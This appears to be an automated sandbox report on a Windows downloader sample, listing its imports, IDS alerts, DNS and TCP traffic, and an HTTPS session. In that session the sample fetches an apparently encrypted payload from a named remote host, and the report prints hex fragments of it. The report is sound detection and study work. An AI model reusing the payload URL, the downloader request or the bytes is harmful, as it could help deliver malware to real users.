                                                        RT_DIALOG0xaf8200x60dataEnglishUnited States0.7291666666666666
                                                        RT_GROUP_ICON0xaf8800x76dataEnglishUnited States0.7457627118644068
                                                        RT_VERSION0xaf8f80x2c8dataEnglishUnited States0.5084269662921348
                                                        RT_MANIFEST0xafbc00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                        Imports

                                                        DLLImport
                                                        KERNEL32.dllSetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
                                                        USER32.dllScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
                                                        GDI32.dllSelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                        SHELL32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
                                                        ADVAPI32.dllRegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
                                                        COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                        ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                        Possible Origin

                                                        Language of compilation systemCountry where language is spokenMap
                                                        EnglishUnited States

                                                        Network Behavior

                                                        Suricata IDS Alerts

                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                        2024-11-06T20:41:14.728802+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow152.149.20.212443192.168.2.449730TCP
                                                        2024-11-06T20:41:29.710340+01002803270ETPRO MALWARE Common Downloader Header Pattern UHCa2192.168.2.449736188.40.95.144443TCP
                                                        2024-11-06T20:41:53.068116+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow152.149.20.212443192.168.2.449737TCP

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Nov 6, 2024 20:41:28.467732906 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:28.467758894 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:28.467927933 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:28.485583067 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:28.485600948 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.361289978 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.361362934 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.440953970 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.440973043 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.441194057 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.441251993 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.446326017 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.487325907 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.710377932 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.710403919 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.710561991 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.710593939 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.710688114 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.757627010 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.757745981 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.850310087 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.850497961 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.851535082 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.851648092 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.852610111 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.852715969 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.897774935 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.897845984 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.989913940 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.990175962 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.991075039 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.991146088 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.992588997 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.992672920 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.994335890 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.994456053 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.995335102 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.995395899 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:29.997066021 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:29.997132063 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.037550926 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.037640095 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.039119959 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.039191961 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.040149927 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.040218115 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.129514933 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.129723072 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.131100893 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.131176949 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.132512093 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.132580996 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.133374929 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.133438110 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.135037899 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.135097980 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.135890007 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.135947943 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.136603117 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.136668921 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.137469053 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.137531996 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.139096975 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.139167070 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.139947891 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.140007019 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.140763998 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.140836954 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.176733971 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.176883936 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.177792072 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.177865028 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.178822994 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.178883076 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.179685116 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.179739952 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.180531979 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.180596113 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.181404114 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.181463003 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.268611908 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.268728971 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.269642115 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.269735098 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.270730019 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.270787001 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.271543026 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.271603107 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:41:30.271605968 CET44349736188.40.95.144192.168.2.4
                                                        Nov 6, 2024 20:41:30.271714926 CET49736443192.168.2.4188.40.95.144
                                                        Nov 6, 2024 20:42:07.985711098 CET49736443192.168.2.4188.40.95.144

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Nov 6, 2024 20:41:28.398713112 CET5107553192.168.2.41.1.1.1
                                                        Nov 6, 2024 20:41:28.458899975 CET53510751.1.1.1192.168.2.4

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        Nov 6, 2024 20:41:28.398713112 CET192.168.2.41.1.1.10xf41aStandard query (0)familytherapycenter.rsA (IP address)IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        Nov 6, 2024 20:41:28.458899975 CET1.1.1.1192.168.2.40xf41aNo error (0)familytherapycenter.rs188.40.95.144A (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • familytherapycenter.rs

                                                        HTTPS Proxied Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.449736188.40.95.1444437904C:\Users\user\Desktop\Anfrage244384.exe
                                                        TimestampBytes transferredDirectionData
                                                        2024-11-06 19:41:29 UTC181OUTGET /rmANWge110.bin HTTP/1.1
                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                        Host: familytherapycenter.rs
                                                        Cache-Control: no-cache
                                                        2024-11-06 19:41:29 UTC320INHTTP/1.1 200 OK
                                                        Date: Wed, 06 Nov 2024 19:41:29 GMT
                                                        Server: Apache
                                                        Upgrade: h2,h2c
                                                        Connection: Upgrade, close
                                                        Last-Modified: Wed, 06 Nov 2024 10:34:28 GMT
                                                        Accept-Ranges: bytes
                                                        Content-Length: 287296
                                                        Cache-Control: max-age=172800
                                                        Expires: Fri, 08 Nov 2024 19:41:29 GMT
                                                        Content-Type: application/octet-stream
                                                        2024-11-06 19:41:29 UTC7872INData Raw: 3a be 61 a9 c6 fb e0 8a af e8 81 83 d1 22 ba 7d 5e 08 16 53 df fc 65 1f f6 f0 3b f3 6c 9d 1b 7e a7 25 e6 38 0e b8 ee 17 cc 30 ec 50 53 ea fd d5 a8 46 40 1f 09 4e a7 6d 0a 75 93 f0 2d 3c ed d1 86 ab d7 aa 7c a2 31 d7 06 b4 05 72 e7 0f 74 9f 40 4e c9 b1 77 dc d7 36 3a 82 90 3b 5d b0 3d e5 16 b9 8d 83 d1 02 fc 36 b0 e8 4e 34 f7 d7 11 bd c7 9d 59 ff 53 3b 9f c7 05 3a 2d 28 5e 68 3d 12 b8 00 99 89 a9 ca fe e2 04 c7 ef 56 89 d7 23 ea 84 1d 4e 0f 27 2a f1 56 3e bf 86 df 11 96 73 23 1c d0 13 d8 6a e7 bb 55 45 1b c6 67 83 ef 87 d4 a3 95 f8 66 aa 16 5d 3f 46 ef b7 b3 f7 17 23 da 16 ae 6f a7 65 d1 20 7c d9 ee 78 84 2e 91 ed bf 3a 28 5f 40 ae 1a 66 d7 bd 8a dd 3a 15 d0 b4 6b 0c 55 3f eb 0c e8 dd 0b 24 b4 b4 4a c7 8c 02 bf 2f a5 19 7b 40 c1 53 96 d7 61 b3 f4 c6 0a 8e
                                                        Data Ascii: :a"}^Se;l~%80PSF@Nmu-<|1rt@Nw6:;]=6N4YS;:-(^h=V#N'*V>s#jUEgf]?F#oe |x.:(_@f:kU?$J/{@Sa
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 10 d0 25 af 37 6b cf 8e 14 77 9f 03 47 94 c3 bb 6c 9d 13 b9 ba 22 ca 05 09 13 3c e5 8c 94 57 e1 75 b1 85 f5 df 3c 1c f5 b2 c4 48 36 2e 7b f5 8e 94 6a 3d da 88 42 68 e3 f9 14 51 31 b8 b4 f6 a5 02 db c3 99 1d 67 65 fd 99 d0 99 b4 6a ce 56 ef 2c 4d 5c 00 e4 a0 97 58 b4 35 22 89 65 20 59 c0 96 37 d1 ff 19 4e 33 bf ef 16 b9 7d af 83 74 47 aa 9b 57 5c 8b 2e 39 2d 07 7e 45 2a 46 1e 88 7e 70 e0 f7 5c 84 1c dd a5 3f 65 bd 48 2e e6 db 88 89 4f 6c 0d 07 d3 26 b4 c7 53 fb 3b c4 48 2d 7c e1 99 82 0c 80 5c c4 c7 a7 f9 50 d4 1f f7 70 9d c2 2d 3c f4 6c 2c cb 5b 84 e3 42 9a f1 68 87 e2 ce 8f de b6 87 c7 82 eb 0e 48 e6 0b 3c f5 fc 94 69 b7 85 dd 2d de e2 1d 7f 04 8a 28 2c c7 51 4c 41 ef c4 0d ea 09 94 b0 c1 1d d8 eb c7 5d 70 fc c9 af 10 d9 af cb 24 64 ca c6 de b9 d7 74 73
                                                        Data Ascii: %7kwGl"<Wu<H6.{j=BhQ1gejV,M\X5"e Y7N3}tGW\.9-~E*F~p\?eH.Ol&S;H-|\Pp-<l,[BhH<i-(,QLA]p$dts
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 3a 7d b1 7c 4b ab ea 21 59 7e 77 d4 15 c5 b3 21 64 de 6a 66 c5 89 c0 a4 bc 6b be 87 85 2d 42 b8 ff 3e a8 f7 d6 22 d2 ae 93 dc 06 2e ef 56 6d 4c d3 bf eb 9f e3 5a 71 61 05 cd 0a 5a 55 48 09 7f 50 c2 07 14 5b 91 ed 33 42 70 28 c1 0f 0d ca 49 fc 47 61 75 66 aa cf 52 3b f7 c8 e8 42 84 64 60 d3 2c 50 de a3 50 f8 2b 1c c7 e9 a3 c8 38 b6 01 22 fc f5 d7 e4 d3 8e 20 28 51 0f 82 c2 1b 5c f2 87 a4 5d 29 99 bf e5 e1 06 41 c3 8b 15 5c 06 d1 1f 41 a5 e6 7d ef 19 ee 61 8d 93 f7 9f 48 98 ec 81 cd 8b f5 a8 13 73 35 0b 74 86 77 f1 d0 16 b4 b8 86 d5 46 86 24 0c 5c c0 3c a4 bf cd c5 e3 39 65 17 ae da d1 7b 9c 41 a3 e5 d5 1c 5d db 2a 0f 9f a8 9a d1 0a b6 5a f4 40 61 a4 82 e4 45 c4 81 c4 d0 03 ed 3a 97 2c c0 8c ad df 49 0b 8c a1 3a 1f 51 7f bb 98 23 bf 24 6a 57 77 96 95 4f 92
                                                        Data Ascii: :}|K!Y~w!djfk-B>".VmLZqaZUHP[3Bp(IGaufR;Bd`,PP+8" (Q\])A\A}aHs5twF$\<9e{A]*Z@aE:,I:Q#$jWwO
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 08 9b 4d b3 39 b0 2f b2 0c 5a bf 7d 2c 09 0d 33 d5 ef e7 6b 0c 6d 59 29 59 20 82 e3 f7 45 06 28 69 3b 2e 8f 17 40 6d 55 e1 f6 fb d1 0e 2f 37 35 a9 f4 54 8d 77 07 54 e6 24 43 d4 f6 e3 ed d3 12 a3 60 12 79 ee e5 53 6e f6 6b 76 a3 4c 08 11 ae 26 19 1c 83 b3 18 f2 d0 b9 ba da d4 3d fe e8 92 fa b3 59 21 a6 4e 54 c0 fc fa 30 13 fa 13 a3 a6 b2 2f ef 15 04 85 84 b9 d4 52 d5 a6 b3 14 55 79 b6 53 77 c7 31 f9 15 59 12 45 5f 2a 52 8a 49 f4 9c 69 bb 90 c3 b3 0a d7 b4 62 a1 8f 52 b7 06 cb b8 df 7a c8 f9 cc b6 f1 f7 f0 9d fc f2 b8 58 6b f0 70 cf f0 b3 af 97 e0 bd ec ea 05 c3 e5 51 6f 55 09 9e dc 8e 98 4d c4 c0 13 29 cd 02 71 eb 2f fb e6 b8 e1 1a ea 3c dc 9d 88 b1 02 5b 05 a4 7f bc 81 0c de 74 f4 f7 be b6 7c 3a da 4a 25 4b cf d5 8b e6 e9 1e cf 3d c1 34 41 1f 7e 0e 71 2a
                                                        Data Ascii: M9/Z},3kmY)Y E(i;.@mU/75TwT$C`ySnkvL&=Y!NT0/RUySw1YE_*RIibRzXkpQoUM)q/<[t|:J%K=4A~q*
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 34 65 de 85 4c 5e 3e 68 39 4c 2c cb de d1 6a be 0c 33 41 b4 0d 0a 15 e7 d8 86 af 6a 6b c3 ab 21 0c 16 93 d4 da a5 34 8c be b8 e4 22 26 db 1b 13 f7 b9 11 1a 0f 67 ab e6 9f e1 59 ab 93 29 85 13 a7 46 33 67 87 90 a2 12 d7 43 46 37 55 6c 9d 2d ad 84 2f 49 68 85 c5 4b 36 89 75 77 e7 7c 65 86 a3 54 1e 93 f9 09 7b 24 41 f0 4e 6a 8d 50 69 c3 fa 93 46 b9 72 b1 69 e3 0a e7 e0 fb 99 f4 1f b0 00 89 d6 76 6c db cb 13 80 0f 67 9b 81 b9 0a 61 a1 93 8b ef 54 5b 82 69 cb 65 c7 0c d1 ea 53 ef 4c 5a 79 fc af ab d4 97 e5 a9 8a 0b 3f e5 43 8e 55 ee 08 e8 9e d8 10 89 12 ad 83 0f e7 9f d0 f5 52 30 6a d1 c5 66 70 2d 85 5f 30 53 c9 be 83 1e 77 ad 22 1c 17 65 e1 ec f0 0b e4 35 02 5a 72 69 3e 8d 0f 05 b0 66 ef df 88 7b 08 4c de 1c 22 01 62 c5 dd a9 da 44 19 bb 56 cd b4 fb e5 e5 ff
                                                        Data Ascii: 4eL^>h9L,j3Ajk!4"&gY)F3gCF7Ul-/IhK6uw|eT{$ANjPiFrivlgaT[ieSLZy?CUR0jfp-_0Sw"e5Zri>f{L"bDV
                                                        2024-11-06 19:41:29 UTC8000INData Raw: f2 c2 d6 45 db 64 0d 42 78 eb 4a 00 25 f1 c7 e1 a7 4e de 7b 04 55 93 e8 4f 2a 64 81 ac e1 d4 dc 79 6f 9c 36 7b 66 45 7c c0 58 31 9e 8b e6 dc 7b 89 33 84 80 74 78 d5 23 81 91 ea bc 63 6d 15 8e a8 c8 51 00 98 5f 77 4d 43 b4 49 f5 14 e7 a7 27 4f fb 5c dd 1b 61 b4 dd ea 33 6f a1 7c ca c3 de 6d 3f 0a 78 bd 1b 06 9c 32 94 5c c2 37 eb 3b c6 19 56 30 0b 68 71 73 b1 a3 fb 65 08 40 ea f8 75 b8 66 68 ab ac 33 08 f8 92 61 0c 05 30 34 46 8b f8 26 a1 de 25 b2 04 a1 fa e1 cb 00 48 b9 15 0a 00 ec a6 fc e4 4c 81 cf 9a c8 05 54 24 8b 54 7e 6b c2 1e c9 4c ec 0e 1e 2f c3 f9 c0 17 1c e5 13 c3 7a a0 97 a4 b6 2f 78 b2 e4 33 ea 0f 86 87 18 2d 29 03 c1 59 bb 9e a3 bc 5c 17 10 cc 46 3a 32 bf c3 ba c0 f2 4c 48 56 db 26 ee 58 23 7c 2c b1 9e 6b 9b 4d aa b8 e2 21 04 36 fb 50 92 5b 4b
                                                        Data Ascii: EdBxJ%N{UO*dyo6{fE|X1{3tx#cmQ_wMCI'O\a3o|m?x2\7;V0hqse@ufh3a04F&%HLT$T~kL/z/x3-)Y\F:2LHV&X#|,kM!6P[K
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 03 a6 7d 3a bd c3 03 84 e4 f2 92 73 8a 5e 05 40 18 49 09 eb 64 45 fe aa 18 f8 0e b3 c5 2b b5 64 0f 57 84 ff 16 7c dc 8f f4 9d f5 7d 06 5d 3a 50 b0 59 d7 3f 19 60 dc 9d 38 33 23 8d 68 cc 7e 7e 34 52 b1 60 95 64 4a 75 36 29 f3 53 d1 a5 27 75 e2 9f cd 8d 06 d9 48 36 cf 5f 08 24 71 b5 c7 04 43 8b ab 90 94 50 30 41 8a 05 64 5a 98 15 12 d4 7b e8 92 98 15 fd 2f 92 b2 ef d5 db 6b 7f c3 b4 b6 e6 e6 be a5 f8 d9 6e d8 86 07 d1 97 b6 b4 da 71 0f 88 41 39 93 65 a2 c8 af 4d 75 c3 9e 2e 49 f5 91 5c d5 44 21 45 c1 08 e5 71 bf 7c f7 9c 31 a6 60 89 34 ee dc 00 71 80 b8 c4 e9 67 82 e8 0d 83 cc c2 f6 4e 23 8b 7b 6c c9 17 3b da 54 b9 57 99 7f 51 42 34 8e d9 ee fd 81 c2 7b ef 28 b1 b6 b6 ed fd 9b 71 e7 0f c9 83 03 ba e2 6f 16 c0 6b 1b 90 48 f6 02 dc a1 95 3f 9c 5a 95 61 9b 86
                                                        Data Ascii: }:s^@IdE+dW|}]:PY?`83#h~~4R`dJu6)S'uH6_$qCP0AdZ{/knqA9eMu.I\D!Eq|1`4qgN#{l;TWQB4{(qokH?Za
                                                        2024-11-06 19:41:29 UTC8000INData Raw: fc a7 40 f9 e6 ad 33 03 16 89 e1 93 ee e1 dd db 69 cc 4f 25 4e de 1b d2 d0 28 8e dd e2 e9 9e b4 e3 18 ef 1c a8 5c 9a a8 7d d5 81 0e 49 7c a7 00 95 28 14 e8 7a 70 32 f5 d6 b3 b8 f0 65 8a 71 ab 6e 06 b3 f2 e7 d0 10 9a b9 04 83 e2 18 6d d6 8d 87 3f 96 cb 5e d7 36 29 6f 91 76 59 b5 b1 92 8f e0 c1 ce ba d5 47 1f c4 ce 38 3e 40 8b be 5c 09 a6 2d ad b8 ed a3 4d e6 d5 38 db 16 70 fc 38 e5 05 f0 bd 7c 4e 27 eb db 32 3a c7 1c ce 13 08 06 73 8c 1f 6e 1b d2 59 54 82 32 d6 1f e7 cc 0c e1 79 bf 3d 0d 80 f8 e7 d7 35 09 f6 40 5f 3a 64 6e 2c c7 18 c8 55 58 fa 49 47 90 8d 61 03 ab 31 5a 89 65 e8 14 bb 4c 0a 99 8c 22 d1 6b 54 94 04 a8 95 63 c6 85 e2 c0 87 5d 5f fa 8a 34 55 37 87 8a e6 15 ee e2 c6 d7 0f 00 f1 d2 eb 40 e0 0a 51 02 4d 07 b5 4b 7c c4 af 8b 3e 93 f3 9e 3c 06 fa
                                                        Data Ascii: @3iO%N(\}I|(zp2eqnm?^6)ovYG8>@\-M8p8|N'2:snYT2y=5@_:dn,UXIGa1ZeL"kTc]_4U7@QMK|><
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 7d 32 62 f7 23 30 66 a8 6f 3a 06 59 9e 33 6c ee 2a 8f 98 2e fc a8 fd 53 97 e4 17 fa b3 a5 2f a1 99 ff 1e 1f e7 86 38 6d 97 f5 30 ea e5 75 71 17 d1 cc 6b 08 f2 76 5f 44 4e 39 51 a7 27 fb 59 d3 97 24 b2 aa b4 23 59 ec 33 a0 74 ad 7d d6 e5 5b bd 3f f8 a3 8c d9 77 58 48 f8 d9 bf f7 1e 09 2e d9 46 54 96 32 da d5 a2 f9 80 d8 47 48 08 35 01 19 fb b9 64 44 15 ad 62 7e ee 9c 2b 7d d2 f3 2b 75 31 18 d2 bd c4 58 5e b5 68 a9 d1 9d 75 a9 67 94 32 19 45 4a da 78 71 f9 db 7e f7 e5 5c 97 2d 39 83 37 fc 31 74 e1 6c ed 03 c1 5f 0c cf 8e 6f 7c 7c 32 0e 28 3c 42 51 9e 74 72 f4 8c 84 01 c4 90 fd 33 5c 92 7b 84 7a 47 cc a4 18 3a 6c a9 b4 bb eb 90 62 1e dc b6 ab 1a 7d 21 03 7f ce 7b 13 fd 7e de 56 de eb 2b 9d 45 e8 a7 3c c7 2b 39 49 d8 50 c3 46 c3 b1 49 08 0d 00 2d f5 6d 83 43
                                                        Data Ascii: }2b#0fo:Y3l*.S/8m0uqkv_DN9Q'Y$#Y3t}[?wXH.FT2GH5dDb~+}+u1X^hug2EJxq~\-971tl_o||2(<BQtr3\{zG:lb}!{~V+E<+9IPFI-mC
                                                        2024-11-06 19:41:29 UTC8000INData Raw: 35 9f 4c a6 35 b6 2b 70 8b 28 19 e5 9e be 49 96 90 17 fd f0 25 f5 dc 99 ce 45 fa 8c d4 e3 9c b5 b3 db 2a d2 ed a2 12 ef 5a 50 61 61 0d c0 ec 74 d2 71 6e 13 f0 49 37 fc 2a c1 c8 c1 c3 ff 75 ac c5 79 15 c9 d1 c9 fb 1a cc 4b dd 6a 80 ce 7d 66 17 36 3f 63 87 3d 39 28 87 88 46 2e 9a 4b b5 b9 3f c1 21 57 df bb cb bb ed b8 4a 52 8a 06 47 2b ac 73 89 d1 f5 48 04 c9 6c f8 79 12 68 ca 40 66 7f b1 4b 7c c1 17 38 58 91 a7 e4 dc 56 61 fc 49 5d aa 27 f1 60 7f d6 c6 f6 4d d1 fe 90 5e 6b 3f ab cf af 1e ae 27 a9 25 e1 61 0a b2 ec 06 5d 27 26 89 02 59 04 b9 f6 b1 22 cb e4 0c ae b8 b4 04 32 57 7d c1 18 10 73 16 04 7e 4a 12 0b 40 0b c3 57 43 8e 24 d5 2b 20 7d 39 06 10 83 ee 40 6e 75 51 f9 11 7e dd 19 76 ab 31 65 7f ea 5f 9e 47 3f 73 4d 13 b1 31 79 38 23 17 39 88 b8 90 ba a3
                                                        Data Ascii: 5L5+p(I%E*ZPaatqnI7*uyKj}f6?c=9(F.K?!WJRG+sHlyh@fK|8XVaI]'`M^k?'%a]'&Y"2W}s~J@WC$+ }9@nuQ~v1e_G?sM1y8#9


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Target ID:0
                                                        Start time:14:40:54
                                                        Start date:06/11/2024
                                                        Path:C:\Users\user\Desktop\Anfrage244384.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\Anfrage244384.exe"
                                                        Imagebase:0x400000
                                                        File size:1'235'192 bytes
                                                        MD5 hash:7A9799DB14A1D4AF0B38F4B69879A78F
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
